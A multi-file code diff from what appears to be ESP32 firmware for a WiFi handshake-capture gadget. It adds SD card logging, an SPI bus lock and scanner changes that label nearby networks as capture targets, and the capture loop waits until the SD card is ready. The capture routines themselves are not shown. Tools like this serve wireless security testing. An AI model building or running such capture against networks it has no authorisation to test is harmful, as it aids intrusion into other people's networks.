g_sd_ready = false; g_sd_ready = false;
pinMode(SD_CS, OUTPUT); pinMode(SD_CS, OUTPUT);
digitalWrite(SD_CS, HIGH); digitalWrite(SD_CS, HIGH);
// Shared SPI with ST7789: ensure display CS idle so SD sees a clean bus. // Shared SPI with ST7789: ensure display CS idle so SD sees a clean bus.
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH); digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
if (s_sd_vfs_was_open) {
SD.end();
s_sd_vfs_was_open = false;
HANDSHAKE_LOGLN("[SD] previous mount closed before re-begin");
}
HANDSHAKE_LOGF("[SD] begin(cs=%d)...\n", SD_CS);
if (!SD.begin(SD_CS, SPI)) { if (!SD.begin(SD_CS, SPI)) {
Serial.println("SD init failed"); HANDSHAKE_LOGLN("[SD] FAIL: SD.begin() returned false");
endSDOperation();
return false; return false;
} }
uint8_t ct = (uint8_t)SD.cardType();
HANDSHAKE_LOGF("[SD] cardType=%u (0=NONE)\n", (unsigned)ct);
if (SD.cardType() == CARD_NONE) { if (SD.cardType() == CARD_NONE) {
Serial.println("No SD card"); HANDSHAKE_LOGLN("[SD] FAIL: CARD_NONE after begin");
SD.end(); SD.end();
s_sd_vfs_was_open = false;
endSDOperation();
return false; return false;
} }
g_sd_ready = true; g_sd_ready = true;
s_sd_vfs_was_open = true;
SDCard_Size = SD.totalBytes() / (1024 * 1024); SDCard_Size = SD.totalBytes() / (1024 * 1024);
HANDSHAKE_LOGF("[SD] OK size=%u MiB ready=%d\n", (unsigned)SDCard_Size, (int)g_sd_ready);
endSDOperation();
return true; return true;
} }
bool SD_WriteFileAtomic(const char* path, const uint8_t* data, size_t len) {
if (path == nullptr || data == nullptr || len == 0) return false;
beginSDOperation();
bool ok = false;
File file = SD.open(path, FILE_WRITE);
if (file) {
ok = (file.write(data, len) == len);
file.close();
}
if (!ok) {
g_sd_ready = false;
}
endSDOperation();
if (len >= 1024) yield();
return ok;
}

View File

@@ -15,3 +15,4 @@ bool SD_Init();
* with LCD+SD sharing SPI, cardType() can spuriously read CARD_NONE and falsely show "insert SD". * with LCD+SD sharing SPI, cardType() can spuriously read CARD_NONE and falsely show "insert SD".
*/ */
bool SD_IsReady(); bool SD_IsReady();
bool SD_WriteFileAtomic(const char* path, const uint8_t* data, size_t len);

View File

@@ -0,0 +1,37 @@
#include "SPI_Bus_Lock.h"
#include <freertos/FreeRTOS.h>
#include <freertos/semphr.h>
static SemaphoreHandle_t s_spi_bus_mutex = nullptr;
static volatile bool s_display_paused = false;
static void ensureMutex() {
if (s_spi_bus_mutex == nullptr) {
s_spi_bus_mutex = xSemaphoreCreateRecursiveMutex();
}
}
void SPIBus_Init() {
ensureMutex();
}
void SPIBus_Lock() {
ensureMutex();
if (s_spi_bus_mutex != nullptr) {
xSemaphoreTakeRecursive(s_spi_bus_mutex, portMAX_DELAY);
}
}
void SPIBus_Unlock() {
if (s_spi_bus_mutex != nullptr) {
xSemaphoreGiveRecursive(s_spi_bus_mutex);
}
}
void SPIBus_SetDisplayPaused(bool paused) {
s_display_paused = paused;
}
bool SPIBus_IsDisplayPaused() {
return s_display_paused;
}

View File

@@ -0,0 +1,9 @@
#pragma once
#include <Arduino.h>
void SPIBus_Init();
void SPIBus_Lock();
void SPIBus_Unlock();
void SPIBus_SetDisplayPaused(bool paused);
bool SPIBus_IsDisplayPaused();

View File

@@ -10,9 +10,17 @@ void WiFiScanner_Refresh(void) {
scanNetworksSortedByRSSI(); scanNetworksSortedByRSSI();
int count = 0; int count = 0;
int captureable = 0;
int offband_secure = 0;
for (int i = 0; i < MAX_NETWORKS; i++) { for (int i = 0; i < MAX_NETWORKS; i++) {
if (networks[i].ssid.isEmpty()) break; if (networks[i].ssid.isEmpty()) break;
count++; count++;
if (isCaptureable(i)) {
captureable++;
} else if (isSupportedCaptureAuth(networks[i].encryption) &&
!isSupportedCaptureChannel(networks[i].ch)) {
offband_secure++;
}
} }
if (count <= 0) { if (count <= 0) {
@@ -22,20 +30,33 @@ void WiFiScanner_Refresh(void) {
} }
static char status_text[64]; static char status_text[64];
snprintf(status_text, sizeof(status_text), "%d networks", count); if (offband_secure > 0) {
snprintf(status_text, sizeof(status_text), "%d nets, %d tgt, %d off-band",
count, captureable, offband_secure);
} else {
snprintf(status_text, sizeof(status_text), "%d nets, %d tgt", count, captureable);
}
Ui_SetWifiStatus(status_text); Ui_SetWifiStatus(status_text);
for (int i = 0; i < count; i++) { for (int i = 0; i < count; i++) {
char line[48]; char line[48];
snprintf(line, sizeof(line), "%02d. %s ch%d", const char* suffix = "";
if (isSupportedCaptureAuth(networks[i].encryption) &&
!isSupportedCaptureChannel(networks[i].ch)) {
suffix = " 5G+";
}
snprintf(line, sizeof(line), "%02d. %s ch%d%s",
i + 1, i + 1,
networks[i].ssid.c_str(), networks[i].ssid.c_str(),
networks[i].ch); networks[i].ch,
suffix);
Ui_AddNetwork(line, i); Ui_AddNetwork(line, i);
if (networks[i].handshake_captured) { if (networks[i].handshake_captured) {
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_RED)); Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_RED));
} else { } else if (isCaptureable(i)) {
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREEN)); Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREEN));
} else {
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREY));
} }
} }

View File

@@ -17,8 +17,6 @@ enum CaptureState {
CaptureState captureState = STATE_SCANNING; CaptureState captureState = STATE_SCANNING;
unsigned long capture_start_time = 0; unsigned long capture_start_time = 0;
// Hard cap per channel visit: should exceed MAX_OBSERVE_CYCLES * (observe + capture).
const unsigned long CHANNEL_TIMEOUT_MS = 150000UL;
// ─── Live capture visual update ─── // ─── Live capture visual update ───
@@ -119,14 +117,17 @@ void setup() {
Set_Backlight(100); Set_Backlight(100);
Lvgl_Init(); Lvgl_Init();
// WiFi + scan before SD: shared SPI with LCD; radio init can affect first SD.begin timing.
handshakeCaptureInit();
WiFiScanner_Refresh();
HANDSHAKE_LOGLN("[SETUP] mounting SD after WiFi scan");
if (!SD_Init()) { if (!SD_Init()) {
Ui_SetWifiStatus("SD: no card"); Ui_SetWifiStatus("SD: no card");
} else { } else {
Ui_SetWifiStatus("SD OK"); Ui_SetWifiStatus("SD OK");
} }
handshakeCaptureInit();
WiFiScanner_Refresh();
captureState = STATE_SCANNING; captureState = STATE_SCANNING;
} }
@@ -147,8 +148,10 @@ void loop() {
break; break;
} }
if (!SD_IsReady()) { if (!SD_IsReady()) {
HANDSHAKE_LOGLN("[CAP] SD not ready — calling SD_Init before capture");
SD_Init(); SD_Init();
if (!SD_IsReady()) { if (!SD_IsReady()) {
HANDSHAKE_LOGLN("[CAP] BLOCKED: SD_IsReady still false — UI: Insert SD card");
Ui_SetWifiStatus("Insert SD card"); Ui_SetWifiStatus("Insert SD card");
delay(800); delay(800);
break; break;
@@ -186,7 +189,7 @@ void loop() {
} else if (!any_active) { } else if (!any_active) {
stopCapture(); stopCapture();
captureState = STATE_SCANNING; captureState = STATE_SCANNING;
} else if (millis() - capture_start_time > CHANNEL_TIMEOUT_MS) { } else if (millis() - capture_start_time > HANDSHAKE_CHANNEL_TIMEOUT_MS) {
Ui_SetWifiStatus("Ch timeout"); Ui_SetWifiStatus("Ch timeout");
stopCapture(); stopCapture();
captureState = STATE_SCANNING; captureState = STATE_SCANNING;